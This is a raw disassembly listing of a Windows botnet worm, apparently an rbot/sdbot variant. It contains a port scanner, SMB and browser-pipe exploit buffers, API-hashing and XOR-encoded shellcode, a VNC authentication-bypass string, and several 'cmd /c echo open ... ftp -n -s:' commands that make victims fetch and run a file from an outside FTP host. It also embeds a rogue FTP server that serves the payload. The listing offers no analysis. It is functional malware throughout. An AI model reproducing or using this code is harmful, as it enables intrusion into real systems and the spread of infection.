db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_38 db ' Failed to start server, error: <%d>.',0
align 10h
aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_40C575+38o
aSocketOpenFail db 'socket open failed',0 ; DATA XREF: _0:0040C7A3o
align 10h
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: _0:0040C7DAo
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: _0:0040C847o
align 4
aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: _0:loc_40C857o
align 4
aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: _0:loc_40C86Bo
align 4
unk_4488B4 db 2Dh ; - ; DATA XREF: sub_40C87D+84o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4488EC db 2Dh ; - ; DATA XREF: sub_40C87D+DCo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_448914 db 2Dh ; - ; DATA XREF: sub_40CA91+87o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
unk_448948 db 2Dh ; - ; DATA XREF: sub_40CA91+103o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_44897C db 2Dh ; - ; DATA XREF: sub_40CA91+168o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_4489B4 db 2Dh ; - ; DATA XREF: sub_40CA91+1E0o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_4489F4 db 2Dh ; - ; DATA XREF: sub_40CCE8+92o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0
align 4
unk_448A1C db 2Dh ; - ; DATA XREF: sub_40CDB5+41o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
unk_448A44 db 2Dh ; - ; DATA XREF: sub_40CEA6+41o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 10h
unk_448A70 db 2Dh ; - ; DATA XREF: sub_40CEA6+D1o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 10h
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40D24D+B2o
align 4
dword_448AAC dd 10FF8h, 0 ; DATA XREF: sub_40D24D+6Ao
dword_448AB4 dd 10FF8h ; DATA XREF: sub_40D24D+79o
dword_448AB8 dd 7FFDF020h, 0 ; DATA XREF: sub_40D24D+162o
dword_448AC0 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D667+78o
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_448B48 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D667+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_448B78 dd 0 ; DATA XREF: sub_40D667+44o
dd 800000D4h, 2 dup(0)
unk_448B88 db 81h ; ; DATA XREF: sub_40D746+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 2 dup(0)
byte_448BD8 db 41h ; DATA XREF: sub_40D7E4+FFr
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
; =============== S U B R O U T I N E =======================================
sub_448C20 proc near ; DATA XREF: _0:0040DA9Bo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_448D1C
push dword ptr [esi]
push 63D61209h
call sub_448D32
mov [esi+8], eax
call sub_448CE5
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_448D32
mov [esi+0Ch], eax
call sub_448C97
push dword ptr [esi+4]
push 4C0297FAh
call sub_448D32
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_448C20 endp
; =============== S U B R O U T I N E =======================================
sub_448C97 proc near ; CODE XREF: sub_448C20+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_448CC0
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_448C97 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_448CC0 proc near ; CODE XREF: sub_448C97+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_448CCF: ; CODE XREF: sub_448CC0+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_448CDC
inc ebx
jmp short loc_448CCF
; ---------------------------------------------------------------------------
loc_448CDC: ; CODE XREF: sub_448CC0+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_448CC0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_448CE5 proc near ; CODE XREF: sub_448C20+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_448CFD: ; CODE XREF: sub_448CE5+1Ej
cmp [ecx], ebx
jz short loc_448D05
mov ecx, [ecx]
jmp short loc_448CFD
; ---------------------------------------------------------------------------
loc_448D05: ; CODE XREF: sub_448CE5+1Aj
mov edx, edi
loc_448D07: ; CODE XREF: sub_448CE5+2Aj
cmp [edx+4], ebx
jz short loc_448D11
mov edx, [edx+4]
jmp short loc_448D07
; ---------------------------------------------------------------------------
loc_448D11: ; CODE XREF: sub_448CE5+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_448CE5 endp
; =============== S U B R O U T I N E =======================================
sub_448D1C proc near ; CODE XREF: sub_448C20+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_448D1C endp
; =============== S U B R O U T I N E =======================================
sub_448D32 proc near ; CODE XREF: sub_448C20+16p
; sub_448C20+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_448D48: ; CODE XREF: sub_448D32+33j
jecxz short loc_448D82
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_448D55: ; CODE XREF: sub_448D32+2Dj
lodsb
cmp al, ah
jz short loc_448D61
ror edi, 0Dh
add edi, eax
jmp short loc_448D55
; ---------------------------------------------------------------------------
loc_448D61: ; CODE XREF: sub_448D32+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_448D48
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_448D82: ; CODE XREF: sub_448D32:loc_448D48j
; sub_448D32:loc_448D82j
jmp short loc_448D82
sub_448D32 endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
sub_448D88 proc near ; DATA XREF: _0:0040DA49o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_448DDA
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_448DA5: ; CODE XREF: sub_448D88+38j
jecxz short loc_448DD5
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_448DB0: ; CODE XREF: sub_448D88+32j
lodsb
test al, al
jz short loc_448DBC
ror edx, 0Dh
add edx, eax
jmp short loc_448DB0
; ---------------------------------------------------------------------------
loc_448DBC: ; CODE XREF: sub_448D88+2Bj
cmp edx, [esp+arg_0]
jnz short loc_448DA5
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_448DD5: ; CODE XREF: sub_448D88:loc_448DA5j
mov [esp+arg_0], ebx
retn
sub_448D88 endp
; =============== S U B R O U T I N E =======================================
sub_448DDA proc near ; CODE XREF: sub_448D88+7p
; FUNCTION CHUNK AT 00448E12 SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_448DF3
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_448DFE
; ---------------------------------------------------------------------------
loc_448DF3: ; CODE XREF: sub_448DDA+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_448DFE: ; CODE XREF: sub_448DDA+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_448E12
sub_448DDA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_448E05 proc near ; CODE XREF: sub_448DDA:loc_448E12p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_448E05 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_448DDA
loc_448E12: ; CODE XREF: sub_448DDA+29j
call sub_448E05
loc_448E17: ; DATA XREF: sub_40D1F2+1Bo
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_448DDA
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_448E1C: ; DATA XREF: sub_40D24D+E8o
jmp short near ptr dword_448E24
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_448E24 dd 0 ; CODE XREF: _2:loc_448E1Cj
aCccc db 'CCCC',0 ; DATA XREF: sub_40D24D+153o
align 10h
dword_448E30 dd 3 ; DATA XREF: sub_40D24D+246o
byte_448E34 db 0A1h, 0 ; DATA XREF: sub_40D24D+29Fo
word_448E36 dw 30h ; DATA XREF: sub_40D24D+2CAo
dword_448E38 dd 62B0606h, 2050501h ; DATA XREF: sub_40D24D+2F5o
aA_1: ; DATA XREF: sub_40D24D+320o
unicode 0, <`>,0
align 4
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: _0:0040DA70o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 10h
dword_448EB0 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_40E29B+2A9o
; ---------------------------------------------------------------------------
loc_448EBC: ; CODE XREF: _2:00448EC6j
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_448EBC
inc edi
jz short loc_448F03
and eax, 952CE753h
inc esp
jle short loc_448F2B
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_448F03: ; CODE XREF: _2:00448EC9j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_448F62+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_448F28: ; CODE XREF: _2:00448F55j
xor [esi-25h], bl
loc_448F2B: ; CODE XREF: _2:00448ED1j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_448F44: ; CODE XREF: _2:00448F77j
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_448F28
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_448F62: ; CODE XREF: _2:00448F09j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_448FEE
jo short loc_448F44
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_448F85+1
add bl, [edi]
loc_448F85: ; CODE XREF: _2:00448F81j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_448F9A+2
cmp ch, bh
dec edx
loc_448F9A: ; CODE XREF: _2:00448F95j
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_448FEE: ; CODE XREF: _2:00448F75j
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short near ptr dword_449074
sub al, 0BCh
jmp near ptr 544693E2h
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_449010 dd 0EFFFC481h, 44FFFFh, 646E6957h, 2073776Fh, 2C34544Eh
; DATA XREF: sub_40E29B+290o
; _2:0044904Co
dd 30303220h, 53282030h, 532D3050h, 293450h, 646E6957h
dd 2073776Fh, 28205058h, 2B305053h, 29315053h, 0
dd offset dword_449010+8
dword_449050 dd 42Ah ; DATA XREF: sub_40E29B+239r
dword_449054 dd 3E8h ; DATA XREF: sub_40E29B+2B4r
dword_449058 dd 258h ; DATA XREF: sub_40E29B+286r
byte_44905C db 1 ; DATA XREF: sub_40E29B+1EBr
; sub_40E29B+2C2r
align 10h
dd offset dword_449010+24h
dd 2C6h, 264h, 0
dd 1
dword_449074 dd 20804h ; CODE XREF: _2:00448FF8j
; DATA XREF: sub_40E19Fr ...
dword_449078 dd 2Eh ; DATA XREF: sub_40E29B+10o
dword_44907C dd 73255C5Ch, 6370695Ch, 24h ; DATA XREF: sub_40E29B+33o
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40E29B+7Do
align 4
dword_44909C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_40E29B+DAo
dword_4490B0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40E29B+14Ao
; ---------------------------------------------------------------------------
loc_4490C4: ; DATA XREF: sub_40E29B+20Do
jmp short near ptr dword_4490C8
; ---------------------------------------------------------------------------
align 4
dword_4490C8 dd 2 dup(0) ; CODE XREF: _2:loc_4490C4j
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40E794+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
align 8
dword_449148 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E9ED+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 10h
aCmdCEchoOpen_1 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40E8D6+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
word_44A3D4 dw 1 ; DATA XREF: _0:0040EB28r
align 4
dword_44A3D8 dd 20424652h, 64333025h, 3330252Eh, 0A64h ; DATA XREF: _0:0040EBB4o
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: _0:0040ED51o
align 4
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40EE63+130o
aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
; DATA XREF: sub_40F04F+23Eo
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F2F1+1B9o
align 4
aSS_1 db '%s %s',0 ; DATA XREF: sub_40F2F1+237o
align 10h
aUser_1 db 'USER',0 ; DATA XREF: sub_40F2F1+248o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F2F1+25Do
align 10h
aPass db 'PASS',0 ; DATA XREF: sub_40F2F1+26Do
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F2F1+281o
align 10h
aSyst db 'SYST',0 ; DATA XREF: sub_40F2F1+291o
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F2F1+2A5o
align 4
aRest db 'REST',0 ; DATA XREF: sub_40F2F1+2B5o
align 10h
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F2F1+2C9o
align 4
off_44A514 dd offset aKassower+8 ; DATA XREF: sub_40F2F1+2D9o
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F2F1+2EDo
align 4
aType db 'TYPE',0 ; DATA XREF: sub_40F2F1+2FDo
align 2
aA_0 db 'A',0 ; DATA XREF: sub_40F2F1+314o
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F2F1+328o
aType_0 db 'TYPE',0 ; DATA XREF: sub_40F2F1+338o
align 2
aI_0 db 'I',0 ; DATA XREF: sub_40F2F1+34Fo
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F2F1+363o
aPasv db 'PASV',0 ; DATA XREF: sub_40F2F1+373o
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_40F2F1+386o
align 4
aList_0 db 'LIST',0 ; DATA XREF: sub_40F2F1+3C1o
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F2F1+3D4o
align 4
aPort db 'PORT',0 ; DATA XREF: sub_40F2F1+402o
align 4
aS_13 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F2F1+43Bo
db ']',0
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F2F1+47Fo
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F2F1+4B2o
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F2F1+4C3o
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_40F2F1+4D3o
align 10h
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_40F2F1+4EBo
align 4
aFtpTransferSta db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40F2F1+514o
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F2F1+55Eo
aFtpTransferCom db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40F2F1+570o
align 10h
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_40F2F1+5C1o
align 4
aQuit_1 db 'QUIT',0 ; DATA XREF: sub_40F2F1+5CEo
align 4
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F2F1+5E2o
aRb db 'rb',0 ; DATA XREF: sub_40F986+24o
align 10h
aGet_0 db 'GET ',0 ; DATA XREF: sub_40FA20+25Eo
align 2
asc_44A706 db ' ',0 ; DATA XREF: sub_40FA20+281o
asc_44A708: ; DATA XREF: sub_40FA20+286o
unicode 0, < >,0
aGet_1 db 'GET ',0 ; DATA XREF: sub_40FA20+291o
align 4
asc_44A714 db 0Dh,0Ah,0 ; DATA XREF: sub_40FA20+2C4o
align 4
unk_44A718 db 2Dh ; - ; DATA XREF: sub_40FA20+3D9o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
aTextHtml db 'text/html',0 ; DATA XREF: sub_40FE5C+64o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FE5C:loc_40FEC7o
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FE5C+83o
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FE5C+97o
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FE5C+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 8
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FE5C+F0o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aS_14 db '\%s',0 ; DATA XREF: sub_40FFD8+2Fo
aS_15 db '%s',0 ; DATA XREF: sub_40FFD8+39o
align 10h
aSS_2 db '%s%s',0 ; DATA XREF: sub_40FFD8+E9o
align 2
